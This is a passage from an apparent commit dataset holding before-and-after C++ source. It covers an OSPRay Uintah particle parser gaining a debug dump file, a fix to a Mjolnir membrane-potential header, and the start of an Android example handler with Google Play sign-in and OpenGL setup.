\/\/ parse__Variable(basePath,c);\n \/\/ }\n \/\/ }\n void parse__Uintah_Datafile(Model *model,\n const std::string &fileName)\n {\n std::string basePath = embree::FileName(fileName).path();\n\n xml::XMLDoc *doc = NULL;\n try {\n doc = xml::readXML(fileName);\n } catch (std::runtime_error e) {\n static bool warned = false;\n if (!warned) {\n std::cerr << \"#osp:uintah: error in opening xml data file: \" << e.what() << std::endl;\n std::cerr << \"#osp:uintah: continuing parsing, but parts of the data will be missing\" << std::endl;\n std::cerr << \"#osp:uintah: (only printing first instance of this error; there may be more)\" << std::endl;\n warned = true;\n }\n return;\n }\n assert(doc);\n assert(doc->child.size() == 1);\n xml::Node *node = doc->child[0];\n assert(node->name == \"Uintah_Output\");\n for (int i=0;i<node->child.size();i++) {\n xml::Node *c = node->child[i];\n assert(c->name == \"Variable\");\n parse__Variable(model,basePath,c);\n }\n delete doc;\n }\n void parse__Uintah_TimeStep_Data(Model *model,\n const std::string &basePath, xml::Node *node)\n {\n assert(node->name == \"Data\");\n for (int i=0;i<node->child.size();i++) {\n xml::Node *c = node->child[i];\n assert(c->name == \"Datafile\");\n for (int j=0;j<c->prop.size();j++) {\n xml::Prop *p = c->prop[j];\n if (p->name == \"href\") {\n try {\n parse__Uintah_Datafile(model,basePath+\"\/\"+p->value);\n } catch (std::runtime_error e) {\n static bool warned = false;\n if (!warned) {\n std::cerr << \"#osp:uintah: error in parsing timestep data: \" << e.what() << std::endl;\n std::cerr << \"#osp:uintah: continuing parsing, but parts of the data will be missing\" << std::endl;\n std::cerr << \"#osp:uintah: (only printing first instance of this error; there may be more)\" << std::endl;\n warned = true;\n }\n }\n }\n }\n }\n }\n void parse__Uintah_TimeStep_Meta(Model *model,\n const std::string &basePath, xml::Node *node)\n {\n assert(node->name == \"Meta\");\n for (int i=0;i<node->child.size();i++) {\n xml::Node *c = node->child[i];\n if (c->name == \"endianness\") {\n if (c->content == \"big_endian\") {\n std::cout << \"#osp:uintah: SWITCHING TO BIG_ENDIANNESS\" << std::endl;\n big_endian = true;\n }\n }\n }\n }\n void parse__Uintah_timestep(Model *model,\n const std::string &basePath, xml::Node *node)\n {\n assert(node->name == \"Uintah_timestep\");\n for (int i=0;i<node->child.size();i++) {\n xml::Node *c = node->child[i];\n if (c->name == \"Meta\") {\n parse__Uintah_TimeStep_Meta(model,basePath,c);\n }\n if (c->name == \"Data\") {\n parse__Uintah_TimeStep_Data(model,basePath,c);\n }\n }\n }\n Model *parse__Uintah_timestep_xml(const std::string &s)\n {\n Model *model = new Model;\n Ref<xml::XMLDoc> doc = xml::readXML(s);\n\n char *dumpFileName = getenv(\"OSPRAY_PARTICLE_DUMP_FILE\");\n if (dumpFileName)\n particleDumpFile = fopen(dumpFileName,\"wb\");\n assert(doc);\n assert(doc->child.size() == 1);\n assert(doc->child[0]->name == \"Uintah_timestep\");\n std::string basePath = embree::FileName(s).path();\n parse__Uintah_timestep(model, basePath, doc->child[0]);\n std::cout << \"#osp:mpm: read \" << s << \" : \" \n << model->atom.size() << \" particles\" << std::endl;\n\n box3f bounds = embree::empty;\n for (int i=0;i<model->atom.size();i++) {\n bounds.extend(model->atom[i].position);\n }\n std::cout << \"#osp:mpm: bounds of particle centers: \" << bounds << std::endl;\n model->radius = .002f;\n return model;\n }\n }\n}\n\n<commit_msg>can now specify particle dump file for particle viewer<commit_after>\n#undef NDEBUG\n\n#include \"ospray\/common\/OspCommon.h\"\n#include \"apps\/common\/xml\/xml.h\"\n#include \"model.h\"\n\n#include \"common\/sys\/filename.h\"\n\nnamespace ospray {\n namespace particle {\n bool big_endian = false;\n\n \/*! a dump-file we can use for debugging; we'll simply dump each\n parsed particle into this file during parsing *\/\n FILE *particleDumpFile = NULL;\n size_t numDumpedParticles = 0;\n\n struct Particle {\n double x,y,z;\n };\n \/\/ struct MPM {\n \/\/ std::vector<vec3f> pos;\n \/\/ };\n \/\/ MPM mpm;\n\n double htonlf(double f)\n {\n double ret;\n char *in = (char*)&f;\n char *out = (char*)&ret;\n for (int i=0;i<8;i++)\n out[i] = in[7-i];\n return ret;\n }\n void readParticles(Model *model,\n size_t numParticles, const std::string &fn, size_t begin, size_t end)\n {\n \/\/ std::cout << \"#mpm: reading \" << numParticles << \" particles... \" << std::flush;\n \/\/ printf(\"#mpm: reading%7ld particles...\",numParticles); fflush(0);\n FILE *file = fopen(fn.c_str(),\"rb\");\n if (!file) {\n throw std::runtime_error(\"could not open data file \"+fn);\n }\n assert(file);\n\n fseek(file,begin,SEEK_SET);\n size_t len = end-begin;\n\n if (len != numParticles*sizeof(Particle)) {\n PING;\n PRINT(len);\n PRINT(numParticles);\n PRINT(len\/numParticles);\n }\n \/\/ PRINT(len);\n \n for (int i=0;i<numParticles;i++) {\n Particle p;\n int rc = fread(&p,sizeof(p),1,file);\n if (rc != 1) {\n fclose(file);\n throw std::runtime_error(\"read partial data \"+fn);\n }\n#if 1\n if (big_endian) {\n p.x = htonlf(p.x);\n p.y = htonlf(p.y);\n p.z = htonlf(p.z);\n }\n#endif\n Model::Atom a;\n a.position = vec3f(p.x,p.y,p.z);\n a.type = model->getAtomType(\"<unnamed>\");\n\n if (particleDumpFile) {\n numDumpedParticles++;\n fwrite(&a,sizeof(a),1,particleDumpFile);\n } else \n model->atom.push_back(a);\n }\n \n std::cout << \"\\r#osp:uintah: read \" << numParticles << \" particles (total \" << float((numDumpedParticles+model->atom.size())\/1e6) << \"M)\";\n\n \/\/ Particle *particle = new Particle[numParticles];\n \/\/ fread(particle,numParticles,sizeof(Particle),file);\n \/\/ for (int i=0;i\n \/\/ for (int i=0;i<100;i++)\n \/\/ printf(\"particle %5i: %lf %lf %lf\\n\",particle[i].x,particle[i].y,particle[i].z);\n fclose(file);\n }\n\n void parse__Variable(Model *model,\n const std::string &basePath, xml::Node *var)\n {\n size_t index = -1;\n size_t start = -1;\n size_t end = -1;\n size_t patch = -1;\n size_t numParticles = 0;\n std::string variable;\n std::string filename;\n for (int i=0;i<var->child.size();i++) {\n xml::Node *n = var->child[i];\n if (n->name == \"index\") {\n index = atoi(n->content.c_str());\n } else if (n->name == \"variable\") {\n variable = n->content;\n } else if (n->name == \"numParticles\") {\n numParticles = atol(n->content.c_str());\n } else if (n->name == \"patch\") {\n patch = atol(n->content.c_str());\n } else if (n->name == \"filename\") {\n filename = n->content;\n } else if (n->name == \"start\") {\n start = atol(n->content.c_str());\n } else if (n->name == \"end\") {\n end = atol(n->content.c_str());\n }\n }\n\n if (numParticles > 0\n && variable == \"p.x\"\n \/* && index == .... *\/ \n ) {\n readParticles(model,numParticles,basePath+\"\/\"+filename,start,end);\n }\n \/\/ PRINT(patch);\n \/\/ PRINT(numParticles);\n \/\/ PRINT(start);\n \/\/ PRINT(filename);\n }\n\n \/\/ pase a \"Uintah_Output\" node\n \/\/ void parse__Uintah_Output(const std::string &basePath, xml::Node *node)\n \/\/ {\n \/\/ assert(node->name == \"Uintah_Output\");\n \/\/ for (int i=0;i<node->child.size();i++) {\n \/\/ xml::Node *c = node->child[i];\n \/\/ assert(c->name == \"Variable\");\n \/\/ parse__Variable(basePath,c);\n \/\/ }\n \/\/ }\n void parse__Uintah_Datafile(Model *model,\n const std::string &fileName)\n {\n std::string basePath = embree::FileName(fileName).path();\n\n xml::XMLDoc *doc = NULL;\n try {\n doc = xml::readXML(fileName);\n } catch (std::runtime_error e) {\n static bool warned = false;\n if (!warned) {\n std::cerr << \"#osp:uintah: error in opening xml data file: \" << e.what() << std::endl;\n std::cerr << \"#osp:uintah: continuing parsing, but parts of the data will be missing\" << std::endl;\n std::cerr << \"#osp:uintah: (only printing first instance of this error; there may be more)\" << std::endl;\n warned = true;\n }\n return;\n }\n assert(doc);\n assert(doc->child.size() == 1);\n xml::Node *node = doc->child[0];\n assert(node->name == \"Uintah_Output\");\n for (int i=0;i<node->child.size();i++) {\n xml::Node *c = node->child[i];\n assert(c->name == \"Variable\");\n parse__Variable(model,basePath,c);\n }\n delete doc;\n }\n void parse__Uintah_TimeStep_Data(Model *model,\n const std::string &basePath, xml::Node *node)\n {\n assert(node->name == \"Data\");\n for (int i=0;i<node->child.size();i++) {\n xml::Node *c = node->child[i];\n assert(c->name == \"Datafile\");\n for (int j=0;j<c->prop.size();j++) {\n xml::Prop *p = c->prop[j];\n if (p->name == \"href\") {\n try {\n parse__Uintah_Datafile(model,basePath+\"\/\"+p->value);\n } catch (std::runtime_error e) {\n static bool warned = false;\n if (!warned) {\n std::cerr << \"#osp:uintah: error in parsing timestep data: \" << e.what() << std::endl;\n std::cerr << \"#osp:uintah: continuing parsing, but parts of the data will be missing\" << std::endl;\n std::cerr << \"#osp:uintah: (only printing first instance of this error; there may be more)\" << std::endl;\n warned = true;\n }\n }\n }\n }\n }\n }\n void parse__Uintah_TimeStep_Meta(Model *model,\n const std::string &basePath, xml::Node *node)\n {\n assert(node->name == \"Meta\");\n for (int i=0;i<node->child.size();i++) {\n xml::Node *c = node->child[i];\n if (c->name == \"endianness\") {\n if (c->content == \"big_endian\") {\n std::cout << \"#osp:uintah: SWITCHING TO BIG_ENDIANNESS\" << std::endl;\n big_endian = true;\n }\n }\n }\n }\n void parse__Uintah_timestep(Model *model,\n const std::string &basePath, xml::Node *node)\n {\n assert(node->name == \"Uintah_timestep\");\n for (int i=0;i<node->child.size();i++) {\n xml::Node *c = node->child[i];\n if (c->name == \"Meta\") {\n parse__Uintah_TimeStep_Meta(model,basePath,c);\n }\n if (c->name == \"Data\") {\n parse__Uintah_TimeStep_Data(model,basePath,c);\n }\n }\n }\n Model *parse__Uintah_timestep_xml(const std::string &s)\n {\n Model *model = new Model;\n Ref<xml::XMLDoc> doc = xml::readXML(s);\n\n char *dumpFileName = getenv(\"OSPRAY_PARTICLE_DUMP_FILE\");\n if (dumpFileName)\n particleDumpFile = fopen(dumpFileName,\"wb\");\n assert(doc);\n assert(doc->child.size() == 1);\n assert(doc->child[0]->name == \"Uintah_timestep\");\n std::string basePath = embree::FileName(s).path();\n parse__Uintah_timestep(model, basePath, doc->child[0]);\n std::cout << \"#osp:mpm: read \" << s << \" : \" \n << model->atom.size() << \" particles\" << std::endl;\n\n box3f bounds = embree::empty;\n for (int i=0;i<model->atom.size();i++) {\n bounds.extend(model->atom[i].position);\n }\n std::cout << \"#osp:mpm: bounds of particle centers: \" << bounds << std::endl;\n model->radius = .002f;\n return model;\n }\n }\n}\n\n<|endoftext|>"} {"text":"<commit_before>#ifndef MJOLNIR_IMPLICIT_MEMBRANE_POTENTIAL\n#define MJOLNIR_IMPLICIT_MEMBRANE_POTENTIAL\n#include <cmath>\n\nnamespace mjolnir\n{\n\n\/* Implicit membrane potential & derivative *\n * potential field dependent on z coordinate. *\n * tanh is used to represent membrane potential. *\n * V(z) = ma * tanh(be * (|z| - th\/2)) *\n * dV\/dr = (z\/|z|) * ma * (cosh^2(be * (|z| - th\/2))) *\n * Cutoff ratio ensure 1\/1000 accuracy. *\/\ntemplate<typename traitT>\nclass ImplicitMembranePotential\n{\n public:\n typedef traitT traits_type;\n typedef typename traits_type::real_type real_type;\n typedef typename traits_type::coordinate_type coordinate_type;\n typedef real_type parameter_type;\n\n constexpr static real_type cutoff_ratio = 4.0;\n\n public:\n ImplicitMembranePotential() = default;\n ImplicitMembranePotential(const real_type th, const real_type ma,\n const real_type be, const std::vector<parameter_type>& hydrophobicities)\n : half_thick_(th * 0.5), interaction_magnitude_(ma),\n bend_(be), hydrophobicities_(hydrophobicities)\n {}\n\n ImplicitMembranePotential(real_type th, real_type ma,\n real_type be, std::vector<parameter_type>&& hydrophobicities)\n : half_thick_(th * 0.5), interaction_magnitude_(ma), bend_(be),\n hydrophobicities_(std::move(hydrophobicities))\n {}\n ~ImplicitMembranePotential() = default;\n\n real_type half_thick() const noexcept {return half_thick_;}\n real_type& half_thick() noexcept {return half_thick_;}\n\n real_type interaction_magnitude() const noexcept\n {return interaction_magnitude_;}\n real_type& interaction_magnitude() noexcept\n {return interaction_magnitude_;}\n\n real_type bend() const noexcept {return bend_;}\n real_type& bend() noexcept {return bend_;}\n\n void hydrophobicities_emplace(const parameter_type);\n\n void set_hydrophobicities(const std::vector<parameter_type>&);\n void set_hydrophobicities(std::vector<parameter_type>&&);\n\n std::size_t size() const noexcept {return hydrophobicities_.size();}\n void resize (const std::size_t i){hydrophobicities_.resize();}\n void reserve(const std::size_t i){hydrophobicities_.reserve();}\n void clear() {hydrophobicities_.clear();}\n\n parameter_type& operator[](const std::size_t i) noexcept\n {return hydrophobicities_[i];}\n parameter_type const& operator[](const std::size_t i) const noexcept\n {return hydrophobicities_[i];}\n parameter_type& at(const std::size_t i)\n {return hydrophobicities_.at(i);}\n parameter_type const& at(const std::size_t i) const\n {return hydrophobicities_.at(i);}\n\n real_type potential (const std::size_t i, const real_type z) const;\n real_type derivative(const std::size_t i, const real_type z) const;\n real_type max_cutoff_length() const noexcept;\n\n private:\n\n real_type half_thick_;\/\/membrane half of thickness.\n real_type interaction_magnitude_;\n real_type bend_;\/\/bend_ decide the slope of tanh carve.\n std::vector<parameter_type> hydrophobicities_;\n};\n\ntemplate<typename traitsT>\ninline void\nImplicitMembranePotential<traitsT>::hydrophobicities_emplace(\n const parameter_type hydrophobicity)\n{\n hydrophobicities_.emplace_back(hydrophobicity);\n return;\n}\n\ntemplate<typename traitsT>\ninline void\nImplicitMembranePotential<traitsT>::set_hydrophobicities(\n const std::vector<parameter_type>& hydrophobicities)\n{\n hydrophobicities_ = hydrophobicities;\n return;\n}\n\ntemplate<typename traitsT>\ninline void\nImplicitMembranePotential<traitsT>::set_hydrophobicities(\n std::vector<parameter_type>&& hydrophobicities)\n{\n hydrophobicities_ = std::move(hydrophobicities);\n return;\n}\n\ntemplate<typename traitsT>\ninline typename ImplicitMembranePotential<traitsT>::real_type\nImplicitMembranePotential<traitsT>::potential(\n const std::size_t i, const real_type z) const\n{\n return hydrophobicities_[i] * interaction_magnitude_ *\n std::tanh(bend_ * (std::abs(z) - half_thick_));\n}\n\ntemplate<typename traitsT>\ninline typename ImplicitMembranePotential<traitsT>::real_type\nImplicitMembranePotential<traitsT>::derivative(\n const std::size_t i, const real_type z) const\n{\n return hydrophobicities_[i] * std::copysign(1.0, z) *\n interaction_magnitude_ * bend_ \/\n std::pow((std::cosh(bend_ * (std::abs(z) - half_thick_))), 2);\n}\n\ntemplate<typename traitsT>\ninline typename ImplicitMembranePotential<traitsT>::real_type\nImplicitMembranePotential<traitsT>::max_cutoff_length() const noexcept\n{\n return cutoff_ratio \/ bend_ + half_thick_;\n}\n\n}\n#endif \/* MJOLNIR_IMPLICIT_MEMBRANE_POTENTIAL *\/\n<commit_msg>fix: pass argument to member<commit_after>#ifndef MJOLNIR_IMPLICIT_MEMBRANE_POTENTIAL\n#define MJOLNIR_IMPLICIT_MEMBRANE_POTENTIAL\n#include <cmath>\n\nnamespace mjolnir\n{\n\n\/* Implicit membrane potential & derivative *\n * potential field dependent on z coordinate. *\n * tanh is used to represent membrane potential. *\n * V(z) = ma * tanh(be * (|z| - th\/2)) *\n * dV\/dr = (z\/|z|) * ma * (cosh^2(be * (|z| - th\/2))) *\n * Cutoff ratio ensure 1\/1000 accuracy. *\/\ntemplate<typename traitT>\nclass ImplicitMembranePotential\n{\n public:\n typedef traitT traits_type;\n typedef typename traits_type::real_type real_type;\n typedef typename traits_type::coordinate_type coordinate_type;\n typedef real_type parameter_type;\n\n constexpr static real_type cutoff_ratio = 4.0;\n\n public:\n ImplicitMembranePotential() = default;\n ImplicitMembranePotential(const real_type th, const real_type ma,\n const real_type be, const std::vector<parameter_type>& hydrophobicities)\n : half_thick_(th * 0.5), interaction_magnitude_(ma),\n bend_(be), hydrophobicities_(hydrophobicities)\n {}\n\n ImplicitMembranePotential(real_type th, real_type ma,\n real_type be, std::vector<parameter_type>&& hydrophobicities)\n : half_thick_(th * 0.5), interaction_magnitude_(ma), bend_(be),\n hydrophobicities_(std::move(hydrophobicities))\n {}\n ~ImplicitMembranePotential() = default;\n\n real_type half_thick() const noexcept {return half_thick_;}\n real_type& half_thick() noexcept {return half_thick_;}\n\n real_type interaction_magnitude() const noexcept\n {return interaction_magnitude_;}\n real_type& interaction_magnitude() noexcept\n {return interaction_magnitude_;}\n\n real_type bend() const noexcept {return bend_;}\n real_type& bend() noexcept {return bend_;}\n\n void hydrophobicities_emplace(const parameter_type);\n\n void set_hydrophobicities(const std::vector<parameter_type>&);\n void set_hydrophobicities(std::vector<parameter_type>&&);\n\n std::size_t size() const noexcept {return hydrophobicities_.size();}\n void resize (const std::size_t i){hydrophobicities_.resize(i);}\n void reserve(const std::size_t i){hydrophobicities_.reserve(i);}\n void clear() {hydrophobicities_.clear();}\n\n parameter_type& operator[](const std::size_t i) noexcept\n {return hydrophobicities_[i];}\n parameter_type const& operator[](const std::size_t i) const noexcept\n {return hydrophobicities_[i];}\n parameter_type& at(const std::size_t i)\n {return hydrophobicities_.at(i);}\n parameter_type const& at(const std::size_t i) const\n {return hydrophobicities_.at(i);}\n\n real_type potential (const std::size_t i, const real_type z) const;\n real_type derivative(const std::size_t i, const real_type z) const;\n real_type max_cutoff_length() const noexcept;\n\n private:\n\n real_type half_thick_;\/\/membrane half of thickness.\n real_type interaction_magnitude_;\n real_type bend_;\/\/bend_ decide the slope of tanh carve.\n std::vector<parameter_type> hydrophobicities_;\n};\n\ntemplate<typename traitsT>\ninline void\nImplicitMembranePotential<traitsT>::hydrophobicities_emplace(\n const parameter_type hydrophobicity)\n{\n hydrophobicities_.emplace_back(hydrophobicity);\n return;\n}\n\ntemplate<typename traitsT>\ninline void\nImplicitMembranePotential<traitsT>::set_hydrophobicities(\n const std::vector<parameter_type>& hydrophobicities)\n{\n hydrophobicities_ = hydrophobicities;\n return;\n}\n\ntemplate<typename traitsT>\ninline void\nImplicitMembranePotential<traitsT>::set_hydrophobicities(\n std::vector<parameter_type>&& hydrophobicities)\n{\n hydrophobicities_ = std::move(hydrophobicities);\n return;\n}\n\ntemplate<typename traitsT>\ninline typename ImplicitMembranePotential<traitsT>::real_type\nImplicitMembranePotential<traitsT>::potential(\n const std::size_t i, const real_type z) const\n{\n return hydrophobicities_[i] * interaction_magnitude_ *\n std::tanh(bend_ * (std::abs(z) - half_thick_));\n}\n\ntemplate<typename traitsT>\ninline typename ImplicitMembranePotential<traitsT>::real_type\nImplicitMembranePotential<traitsT>::derivative(\n const std::size_t i, const real_type z) const\n{\n return hydrophobicities_[i] * std::copysign(1.0, z) *\n interaction_magnitude_ * bend_ \/\n std::pow((std::cosh(bend_ * (std::abs(z) - half_thick_))), 2);\n}\n\ntemplate<typename traitsT>\ninline typename ImplicitMembranePotential<traitsT>::real_type\nImplicitMembranePotential<traitsT>::max_cutoff_length() const noexcept\n{\n return cutoff_ratio \/ bend_ + half_thick_;\n}\n\n}\n#endif \/* MJOLNIR_IMPLICIT_MEMBRANE_POTENTIAL *\/\n<|endoftext|>"} {"text":"<commit_before>#include \"ExampleAndroidHandler.h\"\n#include <AndroidLog.h>\n#include <GooglePlayServices.h>\n#include <GoogleGames.h>\n#include <AppState.h>\n#include <time.h>\n#include \"ExampleStateListener.h\"\n\nclass SignInListener : public Android::ISignInListener\n{\nprivate:\n\tExampleStateListener m_StateListener;\n\npublic:\n\tvirtual void OnSignInSucceeded()\n\t{\n\t\tLOGV( \"Signed in!\" );\n\t\tchar state[] = \"Hello Cloud Save!\";\n\t\tAndroid::AppState::UpdateState( 1, state, sizeof( state ) );\n\t\tAndroid::AppState::LoadState( 1, &m_StateListener );\n\t}\n\n\tvirtual void OnSignInFailed()\n\t{\n\t\tLOGE( \"Sign in failed.\" );\n\t}\n\n\tSignInListener() { }\n\tvirtual ~SignInListener() { }\n};\n\nExampleAndroidHandler::ExampleAndroidHandler()\n{\n\t\/\/ State variables\n\tm_bShouldQuit \t= false;\n\tm_bIsVisible \t= false;\n\tm_bIsPaused\t\t= true;\n\n\t\/\/ Egl\n\tm_Display = EGL_NO_DISPLAY;\n\tm_Surface = EGL_NO_SURFACE;\n\tm_Context = NULL;\n}\n\nExampleAndroidHandler::~ExampleAndroidHandler()\n{\n\tDestroyOpenGL();\n}\n\nvoid ExampleAndroidHandler::Run()\n{\n\tSignInListener signInListener;\n\tAndroid::GooglePlayServices::SetSignInListener( &signInListener );\n\n\t\/\/ Example asset read\n\tAndroid::Asset* pAsset = Android::GetAssetManager().GetAsset( \"test.txt\" );\n\tif ( pAsset )\n\t{\n\t\t\/\/ Create a buffer to read the content into,\n\t\t\/\/ [ Size() + 1 ] for null terminator character for LOG usage\n\t\tchar* pBuffer = new char[ pAsset->Size() + 1 ];\n\n\t\t\/\/ Read the buffer\n\t\tpAsset->Read( pBuffer, pAsset->Size() );\n\n\t\t\/\/ Set null terminating for LOG\n\t\tpBuffer[ pAsset->Size() ] = 0;\n\n\t\t\/\/ Delete the asset file\n\t\tdelete pAsset;\n\n\t\t\/\/ Show us the file's content!\n\t\tLOGV( \"[Example]: File content: %s\", pBuffer );\n\n\t\t\/\/ Delete the buffer\n\t\tdelete [] pBuffer;\n\t}\n\n\t\/\/ Create time measurement\n\ttimespec timeNow;\n\tclock_gettime( CLOCK_MONOTONIC, &timeNow );\n\tuint64_t uPreviousTime = timeNow.tv_sec * 1000000000ull + timeNow.tv_nsec;\n\n\t\/\/ Connect to Google Play\n\tAndroid::GooglePlayServices::SignIn();\n\n\t\/\/ While application is alive...\n\twhile ( !m_bShouldQuit )\n\t{\n\t\t\/\/ Handle Android events\n\t\tAndroid::PollEvents();\n\n\t\t\/\/ Calculate delta time\n\t\tclock_gettime( CLOCK_MONOTONIC, &timeNow ); \/\/ query time now\n\t\tuint64_t uNowNano = timeNow.tv_sec * 1000000000ull + timeNow.tv_nsec; \/\/ get time in nanoseconds\n\t\tfloat fDeltaSeconds = float( uNowNano - uPreviousTime ) * 0.000000001f; \/\/ 1 second = 1,000,000,000 nanoseconds\n\t\tuPreviousTime = uNowNano; \/\/ set previous time to new time\n\n\t\t\/\/ If not paused...\n\t\tif ( !m_bIsPaused )\n\t\t{\n\t\t\t\/\/ Update logic\n\t\t\tUpdate( fDeltaSeconds );\n\t\t}\n\n\t\t\/\/ If visible\n\t\tif ( m_bIsVisible )\n\t\t{\n\t\t\t\/\/ Draw\n\t\t\tDraw();\n\t\t}\n\n\t}\n\n\tLOGV( \"[Example]: Mainloop terminated.\" );\n}\n\nvoid ExampleAndroidHandler::Update( float fDeltaSeconds )\n{\n\t\/\/ Do stuff here\n}\n\nvoid ExampleAndroidHandler::Draw()\n{\n\t\/\/ Draw things here\n\tglClearColor( 0.0f, 0.0f, 1.0f, 1.0f );\n\tglClear( GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT );\n\n\tif ( !eglSwapBuffers( m_Display, m_Surface ) )\n\t{\n\t\tLOGE( \"[Example]: eglSwapBuffers() returned error %d\", eglGetError() );\n\t}\n}\n\nbool ExampleAndroidHandler::InitOpenGL()\n{\n\tconst EGLint attribs[] =\n\t{\n\t\tEGL_SURFACE_TYPE, EGL_WINDOW_BIT,\n\t\tEGL_BLUE_SIZE, 8,\n\t\tEGL_GREEN_SIZE, 8,\n\t\tEGL_RED_SIZE, 8,\n\t\tEGL_NONE\n\t};\n\n\tEGLDisplay display;\n\tEGLConfig config;\n\tEGLint numConfigs;\n\tEGLint format;\n\tEGLSurface surface;\n\tEGLContext context;\n\tEGLint width;\n\tEGLint height;\n\tGLfloat ratio;\n\n\tLOGV( \"[Example]: Initializing context\" );\n\n\tif ( ( display = eglGetDisplay( EGL_DEFAULT_DISPLAY ) ) == EGL_NO_DISPLAY )\n\t{\n\t\tLOGE( \"[Example]: eglGetDisplay() returned error %d\", eglGetError() );\n\t\treturn false;\n\t}\n\n\tif ( !eglInitialize( display, 0, 0 ) )\n\t{\n\t\tLOGE( \"[Example]: eglInitialize() returned error %d\", eglGetError() );\n\t\treturn false;\n\t}\n\n\tif ( !eglChooseConfig(display, attribs, &config, 1, &numConfigs) )\n\t{\n\t\tLOGE( \"[Example]: eglChooseConfig() returned error %d\", eglGetError() );\n\t\tDestroyOpenGL();\n\t\treturn false;\n\t}\n\n\tif ( !eglGetConfigAttrib(display, config, EGL_NATIVE_VISUAL_ID, &format) )\n\t{\n\t\tLOGE( \"[Example]: eglGetConfigAttrib() returned error %d\", eglGetError() );\n\t\tDestroyOpenGL();\n\t\treturn false;\n\t}\n\n\t\/\/ Set buffer geometry using our window which is saved in Android\n\tANativeWindow_setBuffersGeometry( Android::GetWindow(), 0, 0, format );\n\n\tif ( !( surface = eglCreateWindowSurface( display, config, Android::GetWindow(), 0 ) ) )\n\t{\n\t\tLOGE( \"[Example]: eglCreateWindowSurface() returned error %d\", eglGetError() );\n\t\tDestroyOpenGL();\n\t\treturn false;\n\t}\n\n\tif ( !( context = eglCreateContext( display, config, 0, 0 ) ) )\n\t{\n\t\tLOGE( \"[Example]: eglCreateContext() returned error %d\", eglGetError() );\n\t\tDestroyOpenGL();\n\t\treturn false;\n\t}\n\n\tif ( !eglMakeCurrent(display, surface, surface, context ) )\n\t{\n\t\tLOGE( \"[Example]: eglMakeCurrent() returned error %d\", eglGetError() );\n\t\tDestroyOpenGL();\n\t\treturn false;\n\t}\n\n\tif ( !eglQuerySurface( display, surface, EGL_WIDTH, &width ) ||\n\t\t!eglQuerySurface( display, surface, EGL_HEIGHT, &height ) )\n\t{\n\t\tLOGE( \"[Example]: eglQuerySurface() returned error %d\", eglGetError() );\n\t\tDestroyOpenGL();\n\t\treturn false;\n\t}\n\n\tm_Display = display;\n\tm_Surface = surface;\n\tm_Context = context;\n\n\tglDisable( GL_DITHER );\n\tglHint( GL_PERSPECTIVE_CORRECTION_HINT, GL_FASTEST );\n\tglClearColor(0, 0, 0, 0);\n\tglEnable( GL_CULL_FACE );\n\tglEnable( GL_DEPTH_TEST );\n\n\treturn true;\n}\n\nvoid ExampleAndroidHandler::DestroyOpenGL()\n{\n\tif ( m_Display )\n\t{\n\t\tLOGV( \"[Example]: Shutting down OpenGL\" );\n\n\t\teglMakeCurrent( m_Display, EGL_NO_SURFACE, EGL_NO_SURFACE, EGL_NO_CONTEXT );\n\t\teglDestroyContext( m_Display, m_Context );\n\t\teglDestroySurface( m_Display, m_Surface);\n\t\teglTerminate( m_Display );\n\n\t\tm_Display = EGL_NO_DISPLAY;\n\t\tm_Surface = EGL_NO_SURFACE;\n\t\tm_Context = NULL;\n\t}\n}\n\n\/\/ Application\nvoid ExampleAndroidHandler::OnShutdown()\n{\n\tLOGV( \"[Example]: Shutting down!\" );\n\tm_bShouldQuit = true;\n}\n\n\/\/ Surface\nvoid ExampleAndroidHandler::OnSurfaceCreated()\n{\n\tLOGV( \"[Example]: Creating surface!\" );\n\tif ( InitOpenGL() == false )\n\t{\n\t\tm_bShouldQuit = true;\n\t}\n}\n\nvoid ExampleAndroidHandler::OnSurfaceChanged( int iPixelFormat, int iWidth, int iHeight )\n{\n\tLOGV( \"[Example]: Setting viewports!\" );\n\n\t\/\/ Set new viewport\n\tglViewport( 0, 0, iWidth, iHeight );\n}\n\nvoid ExampleAndroidHandler::OnSurfaceDestroyed()\n{\n\tLOGV( \"[Example]: Destroying egl!\" );\n\tDestroyOpenGL();\n}\n\n\/\/ States\nvoid ExampleAndroidHandler::OnPause()\n{\n\tLOGV( \"[Example]: Paused!\" );\n\tm_bIsPaused = true;\n}\n\nvoid ExampleAndroidHandler::OnResume()\n{\n\tLOGV( \"[Example]: Resumed!\" );\n\tm_bIsPaused = false;\n}\n\nvoid ExampleAndroidHandler::OnVisible()\n{\n\tLOGV( \"[Example]: Visible!\" );\n\tm_bIsVisible = true;\n}\n\nvoid ExampleAndroidHandler::OnHidden()\n{\n\tLOGV( \"[Example]: Hidden!\" );\n\tm_bIsVisible = false;\n\t\/\/Android::GooglePlayServices::SignOut();\n}\n\nvoid ExampleAndroidHandler::OnLowMemory()\n{\n\tLOGV( \"[Example]: Clearing some memory to stay alive...\" );\n\n\t\/\/ BigMemoryObject->Release();\n}\n\n\/\/ Input\nvoid ExampleAndroidHandler::OnKey( int iKeyCode, wchar_t iUnicodeChar )\n{\n\tLOGV( \"[Example]: Got key! %i %c\", iKeyCode, iUnicodeChar );\n\n\n}\n\nvoid ExampleAndroidHandler::OnTouch( int iPointerID, float fPosX, float fPosY, int iAction )\n{\n\t\/\/LOGV( \"[Example]: Touch: %i, x: %f y:, %f action:, %i.\", iPointerID, fPosX, fPosY, iAction );\n\n\tif ( iAction == 0 )\n\t{\n\t\t\/\/ On touch start show keyboard!\n\t\tAndroid::ShowKeyboard();\n\t\tAndroid::GooglePlayServices::SignIn();\n\t\t\/\/Android::GoogleGames::SubmitScore( \"CgkIp8rf-fkTEAIQCQ\", 1337 );\n\t\t\/\/Android::GoogleGames::UnlockAchievement( \"CgkIp8rf-fkTEAIQAw\" );\n\t}\n\n\telse if ( iAction == 1 )\n\t{\n\t\t\/\/ On touch up, hide keyboard...\n\t\tAndroid::HideKeyboard();\n\t\t\/\/Android::GooglePlayServices::ShowAlert( \"Test Alert!\", \"Test\" );\n\t\t\/\/Android::GoogleGames::ShowAllLeaderboards();\n\t\t\/\/Android::GoogleGames::ShowAchievements();\n\n\t}\n}\n<commit_msg>Notification example<commit_after>#include \"ExampleAndroidHandler.h\"\n#include <AndroidLog.h>\n#include <GooglePlayServices.h>\n#include <GoogleGames.h>\n#include <AppState.h>\n#include <time.h>\n#include \"ExampleStateListener.h\"\n#include <Notification.h>\n\nclass SignInListener : public Android::ISignInListener\n{\nprivate:\n\tExampleStateListener m_StateListener;\n\npublic:\n\tvirtual void OnSignInSucceeded()\n\t{\n\t\tLOGV( \"Signed in!\" );\n\t\tchar state[] = \"Hello Cloud 